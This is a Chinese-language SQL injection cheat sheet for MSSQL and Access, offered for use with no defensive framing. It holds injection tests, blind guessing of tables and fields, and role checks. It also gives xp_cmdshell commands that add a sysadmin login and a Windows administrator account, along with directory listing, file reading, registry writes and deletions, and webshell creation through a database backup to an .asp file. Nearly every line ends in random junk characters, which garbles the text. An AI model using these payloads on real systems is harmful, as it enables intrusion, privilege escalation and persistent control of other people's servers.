1.判断是否有注入;and 1=1 ;and 1=2 a F%V
2.初步判断是否是mssql ;and user>0 dI)
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3.注入参数是字符'and [查询条件] and ''=' WC`x^HI
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' =Bw2{]w
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5.判断数据库系统 ^{l$>e]
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;and (select count(*) from sysobjects)>0 mssql ! ,&{1p
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;and (select count(*) from msysobjects)>0 access feG#*m2g
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ^s_7-p])(
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 !i5~>p|4@
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 55Ag<\7
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9.(1)猜字段的ascii值(access) u?I 2|}#
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 xj;V
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(2)猜字段的ascii值(mssql) ^wxpinJ>
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 W$Sc@!M3{
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10.测试权限结构(mssql) {pk]p~
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- yoG*c%3V?
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- OZ,Xu&N
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- |&U{
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ~Xz?H=}U+
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- R*DQLBWc
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- f"SK3hI$p
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;and 1=(select IS_MEMBER('db_owner'));-- pD;fFLvN
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11.添加mssql和系统的帐户 iTVZo?lVo
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;exec master.dbo.sp_addlogin username;-- mM.YZUX
;exec master.dbo.sp_password null,username,password;-- XIn,nCY;
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- G`RQl@W>)(
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;exec master.dbo.xp_cmdshell 'net user username password BhhFij4
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- EB VG@
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 'qJ0338d#U
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- )]kxLf#
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12.(1)遍历目录 F^81?Fi.
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;create table dirs(paths varchar(100), id int) U7Oa
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;insert dirs exec master.dbo.xp_dirtree 'c:\' <w`EU[y_
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;and (select top 1 paths from dirs)>0 :w+vi7l$
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ,3N>`]Km'
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(2)遍历目录 BoxtP<C"
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ka6E s~
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4XAs^>N+
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 (;&}\OX6nm
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 U8J9 #+:
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 {2YqEX-I*
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13.mssql中的存储过程 qoOwR[NDcq
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xp_regenumvalues 注册表根键, 子键 FvY=!U06
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 L""ZI5J{F9
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xp_regread 根键,子键,键值名 v?
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;exec xp_regread Q4_r) &np
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Qrt\bz h/}
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xp_regwrite 根键,子键, 值名, 值类型, 值 "T{WOGU+
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 R?{xs
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 +<.o,3
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xp_regdeletevalue 根键,子键,值名 a6j& po
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 3qn_9f ]
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ah hl
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14.mssql的backup创建webshell `-.2Z
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use model `MCiybl,&P
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create table cmd(str image); nAWb9Yk
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insert into cmd(str) values (''); +/Y2\s
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backup database model to disk='c:\l.asp'; RSh_~qMX
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15.mssql内置函数 m9A%Z bQ^
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;and (select @@version)>0 获得Windows的版本号 Q&xH
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa :Q> e54]'&
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;and (select user_name())>0 爆当前系统的连接用户 $
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;and (select db_name())>0 得到当前连接的数据库 #| _VN %!
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16.简洁的webshell 3\@2!:>
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use model k3qQU)
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create table cmd(str image); dEtjcId
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insert into cmd(str) values (''); f(w>(1&/B
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backup database model to disk='g:\wwwtest\l.asp';